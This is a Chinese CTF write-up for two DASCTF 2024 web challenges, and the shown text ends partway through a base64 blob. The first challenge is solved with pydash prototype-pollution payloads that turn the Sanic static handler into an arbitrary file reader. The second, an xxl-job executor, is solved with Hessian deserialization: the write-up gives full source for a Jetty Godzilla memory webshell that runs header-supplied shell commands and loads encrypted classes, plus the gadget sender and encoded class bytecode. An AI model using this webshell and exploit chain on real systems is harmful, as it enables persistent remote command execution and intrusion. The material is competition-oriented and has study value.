DASCTF 2024暑期挑战赛wp

WEB

题目:Sanic's revenge

解题步骤

首先看到给出的附件:

from sanic import Sanic

import os

from sanic.response import text, html

import sys

import random

import pydash

# pydash==5.1.2


# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密

class Pollute:

    def __init__(self):

        pass


app = Sanic(__name__)

app.static("/static/", "./static/")


@app.route("/*****secret********")

async def secret(request):

    secret='**************************'

    return text("can you find my route name ???"+secret)


@app.route('/', methods=['GET', 'POST'])

async def index(request):

    return html(open('static/index.html').read())


@app.route("/pollute", methods=['GET', 'POST'])

async def POLLUTE(request):

    key = request.json['key']

    value = request.json['value']

    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:

        pollute = Pollute()

        pydash.set_(pollute, key, value)

        return text("success")

    else:

        log_dir = create_log_dir(6)

        log_dir_bak = log_dir + ".."

        log_file = "/tmp/" + log_dir + "/access.log"

        log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"

        log = 'key: ' + str(key) + '|' + 'value: ' + str(value);

        # 生成日志文件

        os.system("mkdir /tmp/" + log_dir)

        with open(log_file, 'w') as f:

            f.write(log)

        # 备份日志文件

        os.system("mkdir /tmp/" + log_dir_bak)

        with open(log_file_bak, 'w') as f:

            f.write(log)

        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")



if __name__ == '__main__':

    app.run(host='0.0.0.0')


分析一下源代码:

/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中

还存在一个未知名称的路由,我们可以猜测里面放了secret ???

根据提示可以发现,这里的源码并不完整,所以我们需要得到完整的源码

这里的入口点就是原型链污染,我们污染file_or_directory到根目录下,就可以实现任意文件读取

我们接着想办法获取源代码文件名,尝试访问/static/proc/1/cmdline:

接着访问/start.sh:

得到源码名称:2Q17A58T9F65y5i8.py

访问/app/2Q17A58T9F65y5i8.py,得到完整源码:

from sanic import Sanic

import os

from sanic.response import text, html

import sys

import random

import pydash


# pydash==5.1.2


#源码好像被admin删掉了一些,听他说里面藏有大秘密

class Pollute:

    def __init__(self):

        pass


def create_log_dir(n):

        ret = ""

        for i in range(n):

            num = random.randint(0, 9)

            letter = chr(random.randint(97, 122))

            Letter = chr(random.randint(65, 90))

            s = str(random.choice([num, letter, Letter]))

            ret += s

        return ret

        

app = Sanic(__name__)

app.static("/static/", "./static/")


@app.route("/Wa58a1qEQ59857qQRPPQ")

async def secret(request):

    with open("/h111int",'r') as f:

       hint=f.read()

    return text(hint)


@app.route('/', methods=['GET', 'POST'])

async def index(request):

    return html(open('static/index.html').read())


@app.route("/adminLook", methods=['GET'])

async def AdminLook(request):

    #方便管理员查看非法日志

    log_dir=os.popen('ls /tmp -al').read();

    return text(log_dir)

    

@app.route("/pollute", methods=['GET', 'POST'])

async def POLLUTE(request):

    key = request.json['key']

    value = request.json['value']

    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:

        pollute = Pollute()

        pydash.set_(pollute, key, value)

        return text("success")

    else:

        log_dir=create_log_dir(6)

        log_dir_bak=log_dir+".."

        log_file="/tmp/"+log_dir+"/access.log"

        log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"

        log='key: '+str(key)+'|'+'value: '+str(value);

        #生成日志文件

        os.system("mkdir /tmp/"+log_dir)

        with open(log_file, 'w') as f:

             f.write(log)

        #备份日志文件

        os.system("mkdir /tmp/"+log_dir_bak)

        with open(log_file_bak, 'w') as f:

             f.write(log)

        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':

    app.run(host='0.0.0.0')

可以看到多出来的路由:Wa58a1qEQ59857qQRPPQ,我们直接访问得到hint:

flag in /app,but you need to find his name!!!

Find a way to see the file names in the app directory

这里提示我们flag文件在app目录下,只是不知道flag名字

那么很明显我们需要想办法列出app目录下的文件

还看到adminLook路由可以看到/tmp目录下的文件,而我们的非法日志就记录在此目录下,我们先随便触发一次非法记录,接着访问adminLook路由:

可以看到这里存在两个目录,一个备份目录名称为ddahJ6..,那么就可以利用访问这个目录实现穿越到上层目录:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

首先切换到tmp目录下,再污染base的值:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}

同时记得开启列目录功能:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

接着访问即可:

可以看到flag名称,接着访问/app/45W698WqtsgQT1_flag即可得到flag

题目:EasyJob

解题步骤

根据附件可以确认是xxl-job-executor未授权访问的漏洞,参考下列链接:

https://github.com/Threekiii/Vulhub-Reproduce/blob/master/XXL-JOB%20executor%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.md

但是会发现咱们的xxl-job版本比较老,属于需要靠Hessian反序列化去触发的版本,并且题目是不出网的。这时候就避免不了打一个内存马。因此这一题的关键点其实是如何去注入一个无Web依赖的Jetty内存马。

在xxljob中内置了一个handler如下

//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by FernFlower decompiler)

//


package com.xxl.job.core.rpc.netcom.jetty.server;


import com.xxl.job.core.rpc.codec.RpcRequest;

import com.xxl.job.core.rpc.codec.RpcResponse;

import com.xxl.job.core.rpc.netcom.NetComServerFactory;

import com.xxl.job.core.rpc.serialize.HessianSerializer;

import com.xxl.job.core.util.HttpClientUtil;

import java.io.IOException;

import java.io.OutputStream;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import org.eclipse.jetty.server.Request;

import org.eclipse.jetty.server.handler.AbstractHandler;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;


public class JettyServerHandler extends AbstractHandler {

    private static Logger logger = LoggerFactory.getLogger(JettyServerHandler.class);


    public JettyServerHandler() {

    }


    public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {

        RpcResponse rpcResponse = this.doInvoke(request);

        byte[] responseBytes = HessianSerializer.serialize(rpcResponse);

        response.setContentType("text/html;charset=utf-8");

        response.setStatus(200);

        baseRequest.setHandled(true);

        OutputStream out = response.getOutputStream();

        out.write(responseBytes);

        out.flush();

    }


    private RpcResponse doInvoke(HttpServletRequest request) {

        RpcResponse rpcResponse;

        try {

            byte[] requestBytes = HttpClientUtil.readBytes(request);

            if (requestBytes != null && requestBytes.length != 0) {

                RpcRequest rpcRequest = (RpcRequest)HessianSerializer.deserialize(requestBytes, RpcRequest.class);

                RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, (Object)null);

                return rpcResponse;

            } else {

                rpcResponse = new RpcResponse();

                rpcResponse.setError("RpcRequest byte[] is null");

                return rpcResponse;

            }

        } catch (Exception var5) {

            logger.error(var5.getMessage(), var5);

            rpcResponse = new RpcResponse();

            rpcResponse.setError("Server-error:" + var5.getMessage());

            return rpcResponse;

        }

    }

}

JettyHandler,我们需要做的就是注入一个一模一样的东西。这里具体细节就没啥好说的了,最后内存马如下

package com.xxl.job.core;


import org.eclipse.jetty.server.*;

import org.eclipse.jetty.server.handler.AbstractHandler;

import org.eclipse.jetty.server.handler.HandlerCollection;

import sun.misc.Unsafe;


import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;

import javax.servlet.ServletException;

import javax.servlet.ServletOutputStream;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.ref.Reference;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.net.URL;

import java.net.URLClassLoader;

import java.util.Scanner;


//author:Boogipop


public class JettyGodzillaMemshell extends AbstractHandler {

    String xc = "3c6e0b8a9c15224a"; // key

    String pass = "username";

    String md5 = md5(pass + xc);

    Class payload;

    public static String md5(String s) {

        String ret = null;

        try {

            java.security.MessageDigest m;

            m = java.security.MessageDigest.getInstance("MD5");

            m.update(s.getBytes(), 0, s.length());

            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();

        } catch (Exception e) {

        }

        return ret;

    }

    public JettyGodzillaMemshell() {

        System.out.println(1);

    }


    public JettyGodzillaMemshell(int s) {

        System.out.println(2);

    }


    static {

        try {

            HttpConnection valueField = getValueField();

            HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();

            Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");

            mutableWhenRunning.setAccessible(true);

            mutableWhenRunning.set(handler,true);

//            handler.addHandler(new JettyHandlerMemshell(1));

            Handler[] handlers = handler.getHandlers();

            Handler[] newHandlers=new Handler[handlers.length+1];

            newHandlers[0]=new JettyGodzillaMemshell(1);

            for (int i = 0; i < handlers.length; i++) {

                newHandlers[i + 1] = handlers[i];

            }

            handler.setHandlers(newHandlers);


        } catch (NoSuchFieldException e) {

            throw new RuntimeException(e);

        } catch (ClassNotFoundException e) {

            throw new RuntimeException(e);

        } catch (IllegalAccessException e) {

            throw new RuntimeException(e);

        }

    }

    private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

        Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");

        unsafe.setAccessible(true);

        sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);

        return theunsafe;

    }

    private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {

        Unsafe unsafe = getUnsafe();

        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();

        Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");

        Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));

        for(int i=0;i<threads.length;i++) {

            try {

                Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");

                Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));

                Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));

                for(int j=0;j<table.length;j++){

                    try {

                        //HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));

                        //PrintWriter writer = value.getHttpChannel().getResponse().getWriter();

                        //writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));

                        //writer.flush();

                        Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));

                        if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){

                            return (HttpConnection)value;

                        }

                    }

                    catch (Exception e){


                    }

                }


            } catch (Exception e) {


            }

        }

        return null;

    }

    public static String base64Encode(byte[] bs) throws Exception {

        Class base64;

        String value = null;

        try {

            base64 = Class.forName("java.util.Base64");

            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);

            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});

        } catch (Exception e) {

            try {

                base64 = Class.forName("sun.misc.BASE64Encoder");

                Object Encoder = base64.newInstance();

                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});

            } catch (Exception e2) {

            }

        }

        return value;

    }

    public static byte[] base64Decode(String bs) throws Exception {

        Class base64;

        byte[] value = null;

        try {

            base64 = Class.forName("java.util.Base64");

            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);

            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});

        } catch (Exception e) {

            try {

                base64 = Class.forName("sun.misc.BASE64Decoder");

                Object decoder = base64.newInstance();

                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});

            } catch (Exception e2) {

            }

        }

        return value;

    }

    public byte[] x(byte[] s, boolean m) {

        try {

            Cipher c = Cipher.getInstance("AES");

            c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));

            return c.doFinal(s);

        } catch (Exception e) {

            return null;

        }

    }


    @Override

    public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {

        try {

            if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {

                String cmd = request.getHeader("cmd");

                if (cmd != null && !cmd.isEmpty()) {

                    String[] cmds = null;

                    if (System.getProperty("os.name").toLowerCase().contains("win")) {

                        cmds = new String[]{"cmd", "/c", cmd};

                    } else {

                        cmds = new String[]{"/bin/bash", "-c", cmd};

                    }

                    base.setHandled(true);

                    String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();

                    ServletOutputStream outputStream = response.getOutputStream();

                    outputStream.write(result.getBytes());

                    outputStream.flush();

                }

            }

            else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {

                // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题

                byte[] data = base64Decode(request.getParameter(pass));

                data = x(data, false);

                if (payload == null) {

                    URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());

                    Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);

                    defMethod.setAccessible(true);

                    payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);

                } else {

                    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();

                    Object f = payload.newInstance();

                    f.equals(arrOut);

                    f.equals(data);

                    f.equals(request);

                    base.setHandled(true);

                    ServletOutputStream outputStream = response.getOutputStream();

                    outputStream.write(md5.substring(0, 16).getBytes());

                    f.toString();

                    outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());

                    outputStream.write(md5.substring(16).getBytes());

                    outputStream.flush();

                    return ;

                }

            }

        } catch (Exception e) {

        }

    }

}

注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:


package com.example;


import com.caucho.hessian.io.*;

import com.xxl.rpc.serialize.impl.HessianSerializer;

import sun.swing.SwingLazyValue;


import javax.swing.*;

import java.io.*;

import java.net.HttpURLConnection;

import java.net.URL;

import java.util.Hashtable;


public class App {


    public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {

        URL url = new URL(urlString);

        HttpURLConnection connection = (HttpURLConnection) url.openConnection();


        try {

            // 设置请求方法为POST

            connection.setRequestMethod("POST");

            // 允许输入输出

            connection.setDoOutput(true);

            // 设置请求头

            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type


            // 写入请求体

            try (OutputStream os = connection.getOutputStream()) {

                os.write(rawData);

                os.flush();

            }


            // 读取响应

            try (InputStream is = connection.getInputStream()) {

                StringBuilder response = new StringBuilder();

                byte[] buffer = new byte[1024];

                int bytesRead;

                while ((bytesRead = is.read(buffer)) != -1) {

                    response.append(new String(buffer, 0, bytesRead, "utf-8"));

                }

                return response.toString();

            }

        } finally {

            connection.disconnect();

        }

    }


    public static void main( String[] args ) throws Exception {

//        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);

//        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);

//        Field f = Unsafe.class.getDeclaredField("theUnsafe");

//        f.setAccessible(true);

//        Object unsafe = f.get(null);

//        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};

        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +

                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +

                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +

                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +

                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +

                ">\n" +

                "    <xsl:template match=\"/\">\n" +

                "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +

                "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +

                "      <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +

                "      <xsl:value-of select=\"$rce\"/>\n" +

                "    </xsl:template>\n" +

                "  </xsl:stylesheet>";


        String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cml